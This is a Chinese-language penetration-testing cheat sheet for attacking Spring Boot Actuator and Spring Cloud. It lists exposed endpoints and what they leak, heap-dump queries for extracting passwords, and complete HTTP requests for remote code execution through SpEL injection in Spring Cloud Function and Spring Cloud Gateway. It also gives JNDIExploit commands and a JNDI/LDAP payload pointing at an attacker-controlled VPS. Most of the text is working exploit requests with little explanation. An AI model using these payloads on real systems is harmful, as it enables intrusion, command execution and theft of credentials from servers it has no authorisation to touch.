常规渗透测试—中间件及框架漏洞

/env、/actuator/envGET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文，同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refreshPOST 请求 /env 接口设置属性后，可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart暴露出此接口的情况较少；可以配合 POST请求 /env 接口设置属性后，再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie等信息。

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0服务器地址填入目标地址，选择相应的端口

/heapdump/actuator/heapdump

select s from java.lang.String s where /pass/.test(s.value.toString())select * from org.springframework.web.context.support.StandardServletEnvironmentselect * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")Content-Type: application/x-www-form-urlencodedContent-Length: 5
xxx

POST /actuator/gateway/routes/test HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{  "id": "hacktest",  "filters": [{    "name": "AddResponseHeader",    "args": {      "name": "Result",      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"    }  }],  "uri": "http://example.com"}

POST /actuator/gateway/refresh HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

GET /actuator/gateway/routes/test HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

DELETE /actuator/gateway/routes/test HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Length: 4

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}